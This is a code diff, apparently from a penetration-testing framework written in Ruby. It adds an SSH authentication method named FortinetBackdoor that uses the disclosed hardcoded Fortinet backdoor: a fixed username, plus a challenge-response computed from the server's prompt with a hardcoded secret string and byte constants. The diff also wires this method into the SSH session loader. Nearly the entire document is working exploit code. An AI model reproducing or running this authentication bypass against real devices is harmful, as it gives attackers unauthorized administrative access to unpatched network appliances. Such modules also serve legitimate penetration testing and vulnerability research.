diff --git a/lib/net/ssh/authentication/methods/fortinet_backdoor.rb b/lib/net/ssh/authentication/methods/fortinet_backdoor.rb new file mode 100644 index 0000000000..cf6c3e04a5 --- /dev/null +++ b/lib/net/ssh/authentication/methods/fortinet_backdoor.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +# https://www.ietf.org/rfc/rfc4256.txt + +class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract + + USERAUTH_INFO_REQUEST = 60 + USERAUTH_INFO_RESPONSE = 61 + + def authenticate(service_name, username = 'Fortimanager_Access', password = nil) + debug { 'Sending SSH_MSG_USERAUTH_REQUEST' } + + send_message(userauth_request( +=begin + string user name (ISO-10646 UTF-8, as defined in [RFC-3629]) + string service name (US-ASCII) + string "keyboard-interactive" (US-ASCII) + string language tag (as defined in [RFC-3066]) + string submethods (ISO-10646 UTF-8) +=end + username, + service_name, + 'keyboard-interactive', + '', + '' + )) + + loop do + message = session.next_message + + case message.type + when USERAUTH_SUCCESS + debug { 'Received SSH_MSG_USERAUTH_SUCCESS' } + return true + when USERAUTH_FAILURE + debug { 'Received SSH_MSG_USERAUTH_FAILURE' } + return false + when USERAUTH_INFO_REQUEST + debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' } + +=begin + string name (ISO-10646 UTF-8) + string instruction (ISO-10646 UTF-8) + string language tag (as defined in [RFC-3066]) + int num-prompts + string prompt[1] (ISO-10646 UTF-8) + boolean echo[1] + ... + string prompt[num-prompts] (ISO-10646 UTF-8) + boolean echo[num-prompts] +=end + name = message.read_string + instruction = message.read_string + _ = message.read_string + + prompts = [] + + message.read_long.times do + prompt = message.read_string + echo = message.read_bool + prompts << [prompt, echo] + end + + debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' } + + send_message(Net::SSH::Buffer.from( +=begin + byte SSH_MSG_USERAUTH_INFO_RESPONSE + int num-responses + string response[1] (ISO-10646 UTF-8) + ... + string response[num-responses] (ISO-10646 UTF-8) +=end + :byte, USERAUTH_INFO_RESPONSE, + :long, 1, + :string, custom_handler(name, instruction, prompts) + )) + else + raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}" + end + end + end + + # http://seclists.org/fulldisclosure/2016/Jan/26 + def custom_handler(title, instructions, prompt_list) + n = prompt_list[0][0] + m = Digest::SHA1.new + m.update("\x00" * 12) + m.update(n + 'FGTAbc11*xy+Qqz27') + m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70") + h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest) + [h] + end + +end diff --git a/lib/net/ssh/authentication/session.rb b/lib/net/ssh/authentication/session.rb index 7e07ccf696..0412f80722 100644 --- a/lib/net/ssh/authentication/session.rb +++ b/lib/net/ssh/authentication/session.rb @@ -7,6 +7,7 @@ require 'net/ssh/authentication/methods/publickey' require 'net/ssh/authentication/methods/hostbased' require 'net/ssh/authentication/methods/password' require 'net/ssh/authentication/methods/keyboard_interactive' +require 'net/ssh/authentication/methods/fortinet_backdoor' module Net; module SSH; module Authentication